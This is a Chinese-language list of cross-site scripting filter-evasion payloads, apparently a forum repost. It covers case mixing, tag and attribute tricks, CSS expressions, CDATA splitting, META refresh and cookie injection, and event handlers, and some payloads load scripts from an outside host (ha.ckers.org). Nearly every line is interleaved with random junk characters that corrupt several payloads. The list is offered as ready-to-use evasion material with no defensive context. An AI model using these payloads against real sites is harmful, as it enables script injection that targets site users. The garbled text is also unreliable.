1. 改变字符大小写+ E1 [2 G" }: S& j
8 D+ |7 Z- Z) d! u; ~/ O
& Q6 n+ P$ r; V' B& [* |0 y! N; i" |# `6 W( H0 {, B5 t, n. w
<sCript>alert(‘d’)</scRipT>) k9 }" D: D: C! p9 f
: ~" d$ t$ v/ F p) q5 a2. 利用多加一些其它字符来规避Regular Expression的检查% L/ t1 ~* S, b7 K- K
' }& p: U8 F! r3 Q/ }4 b6 C( K
<<script>alert(‘c’)//<</script>
; Y) B- u4 S K, {
$ l* N0 T- w8 c; c9 | <SCRIPT a=">" SRC="t.js"></SCRIPT>
3 ]" a$ ~ P' A
+ Z2 p, i( p% S0 ^1 u <SCRIPT =">" SRC="t.js"></SCRIPT>1 r5 ], Z& k) ^ m
8 p {8 Q$ I# L9 Y3 G
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 ~. s5 q) T9 g: a4 }1 H h0 Q) _
7 W4 M5 O @5 A <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
, v# a* ]$ ?; i/ E! O6 Y4 W" M$ Q& l5 p# k* e. [0 _% @
<SCRIPT a=`>` SRC="t.js"></SCRIPT>( y/ b1 U: @/ S* P- c
% m2 [) `5 G& c$ `7 l& ^9 r* K7 ? <SCRIPT a=">’>" SRC="t.js"></SCRIPT>* e. s) n6 F8 u1 e% i& }2 U* S
+ Q9 `# o$ w# ^3 a% ?. N3. 以其它扩展名取代.js8 e8 n2 f9 l, R7 b
- X- x/ e8 g$ V4 d; \ <script src="bad.jpg"></script># T6 c7 L- W/ B5 j
, D* ]: o$ n0 v4. 将Javascript写在CSS档里
+ ~6 y0 E& W! A5 D' L* |. P1 x: L6 f, G; ]& v
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
- |( n1 {; E) v# G- O; K6 U: |; t9 N# X8 p3 z
example:
1 M) L6 g: l- u" G. ?: \$ P _% n. c4 @, c2 T4 I; k) |; {
body {
$ H6 l0 m) @, J( Z6 a7 B. a3 r Y" I3 H$ X& M, d( _/ I
background-image: url(‘javascript:alert("XSS");’)
8 |6 z+ k% x+ y3 u
4 C* ~0 y- s0 S6 r* f }
$ k$ A, G- o @0 E ?1 S
3 b5 g, V+ ?/ G4 L9 w5. 在script的tag里加入一些其它字符
( Y4 f; N& W+ G$ `! j, p) e0 m m! S$ F$ W; w
<SCRIPT/SRC="t.js"></SCRIPT>& s% X& S1 m# f4 _) z
' c6 j" d4 w a2 C b" w9 Y& ]+ L <SCRIPT/anyword SRC="t.js"></SCRIPT> `! t8 u$ }0 F
1 m9 A+ M! Q! I; H
6. 使用tab或是new line来规避
6 e# f g2 M$ L; O
7 l: ^. E; R1 l' v1 Y j <img src="jav ascr ipt:alert(‘XSS3′)">
a( `% | [6 R' V2 E
5 T. c0 W3 w4 b7 C# ]+ e( L/ r <img src="jav ascr ipt:alert(‘XSS3′)">
# e8 F4 E2 H# W3 n% i7 i: S$ J; B4 e' \$ K% i8 A! w/ {
<IMG SRC="jav ascript:alert(‘XSS’);">
/ i1 K+ c$ j; b) K# P3 u/ _3 h7 S+ C: `
-> tag: A! [/ l. ?% p0 H4 i
* D! |7 x$ \+ X# G. ?, S3 _
-> new line' i# R9 _$ i/ n' G6 f1 B$ H h
, F$ v; p8 G" }5 {
7. 使用"\"来规避$ M" L' \+ j0 m# L
% i) K, Q- O: P1 [# |. r <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>: `! {; f* V/ O8 b5 Y. `; b; r# s
0 k( ?) I4 C& q7 C- A7 L <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’># R; p9 [$ R) C- R
; s, e! n; x$ a; x$ U( p; N- Z0 ~& q
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
# |" a" P2 u" n" M% [$ g
5 B$ u9 m% j; T <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
; M2 @+ S3 p0 |& ~: _
8 p2 s7 d1 \8 `; Z( E T- w& D/ d <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ a+ z' u$ Q, L; ~' _ w+ @
: v( Y4 a) q) o: s8 {! ]8. 使用Hex encode来规避(也可能会把";"拿掉)
) N7 W- H y. G% N4 G g l
" j6 A" e4 D8 U2 C r) {/ Z7 | <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
8 F3 U( e% J- G4 C/ ?0 _8 \
q8 }3 Z% B/ m8 D- L* t: D 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
3 x" n# ~4 |5 @; p/ x6 ] e; h, ]6 w0 J
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
9 v! w8 M- L- k0 X+ Z7 @
, e! V% q% w8 V) \ 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">. q. \. n# y5 C# Z9 ^
3 F2 \$ N9 a6 \# f9. script in HTML tag) T, L4 J x4 V& ^; Z l
3 |! i, M5 p# c( {8 m
<body onload=」alert(‘onload’)」>* W6 g3 F: \/ o+ g4 W5 b
2 o! {4 P _ y+ h
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload- } k7 v9 O( W0 e5 }
7 S! ]3 B! X& g8 [8 j( j% j6 s
10. 在swf里含有xss的code; ^" C7 N9 S$ [6 t
- q0 ^* x# q3 u$ X% {9 j
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
' a+ l' u6 k% t, c4 o+ y$ \9 x! L& M0 l
11. 利用CDATA将xss的code拆开,再组合起来。: N5 _; z+ l8 }9 }/ W
6 q2 [ D7 H! O0 l
<XML ID=I><X><C>
+ M' k5 i' w& {! n, }2 I
: `& l: F! l6 ? }4 S$ I <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>8 l+ L# |! w) |4 ^" W$ s" ~/ f& g
7 }- r' W1 \4 ~( ? </C></X>, @/ `0 R. Y# Z7 s" y# ~
- h- z( B( e# f; L6 N4 q# E. N, Q
</xml> e& q1 E9 i/ b: x+ H& z g; `* \
& j* e4 }1 p9 t% j' X/ n
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>6 V* v2 e# a0 \1 Y
1 F p# P$ K( I& G1 w; b <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>! S# a9 B4 u6 `4 E+ T+ @
7 }$ E! @" t7 q4 \" U2 k3 X0 j4 a
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
* [% @7 ]$ h& j9 p# m: C/ ?3 a0 ^2 b; f% H& B- M2 o
12. 利用HTML+TIME。% `+ Y" t& p+ I7 _
2 I+ }8 {' |. e3 \; L# d <HTML><BODY>
2 y% \! |* z$ X1 k5 u. y9 Z4 f3 k7 i5 f/ C" h) L
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
6 i. ?5 W3 J; c" C) V/ \8 ~. W/ i' Q* g, h& A: y
<?import namespace="t" implementation="#default#time2">
7 }2 J* j+ C7 ?( T6 U9 ~2 I; I0 t; m% r/ z
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
7 |$ r9 P) H9 G, H$ ?( n9 m3 {: ?3 T+ e L5 w
</BODY></HTML>
$ ?: O# k/ x1 f/ ~2 i$ W0 H+ @
7 K# @+ M( `9 Y7 e8 W13. 透过META写入Cookie。
$ V7 m8 O$ e- |" G6 v$ W: O, K+ G! h2 h* t7 P
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
; e+ n$ ]% V4 O& Q
) ` B- n+ d4 z0 V14. javascript in src , href , url9 K7 e9 y/ W! J7 N+ g
% V/ a! c5 d0 t q& h) C <IFRAME SRC=javascript:alert(’13′)></IFRAME>
! {) Y; q) L) m' `+ E. b* x( `4 \( A; _$ l9 s) O
<img src="javascript:alert(‘XSS3′)">* N( l f! V0 L0 \) B8 j! N
1 o* D' W; V( I8 k
<IMG DYNSRC="javascript:alert(‘XSS20′)">
3 l/ V+ ~% M8 U" K; J/ o8 G+ x t8 ?* I
<IMG LOWSRC="javascript:alert(‘XSS21′)">! Z0 `8 |/ O3 _+ O
+ Z1 t6 E9 z+ \" h& s- h6 D+ l1 j
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">, A) X0 b5 ~& l G8 q% k
9 e$ I& b k% c <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
0 c6 ~/ i: q8 Q' B3 U! q( y3 h1 B- ~4 x6 S' [
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
4 n* Q3 g2 m" {, y
% l% @0 _* @5 ~: t, q$ U <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">8 f; Z* b. _. \" B
7 S: f7 `; F7 N0 ~" g <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
: ^# K# L) P; h) B+ {- \& P+ x) G, }1 s4 |/ G
</STYLE><A CLASS=XSS></A>% n1 M8 M+ I+ c/ _, [! x3 F8 l
8 a' G! L, u* X" L
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>6 ^/ b; D% v1 x. \) T7 [/ W. v; ^
6 I6 X8 E \2 g0 [
|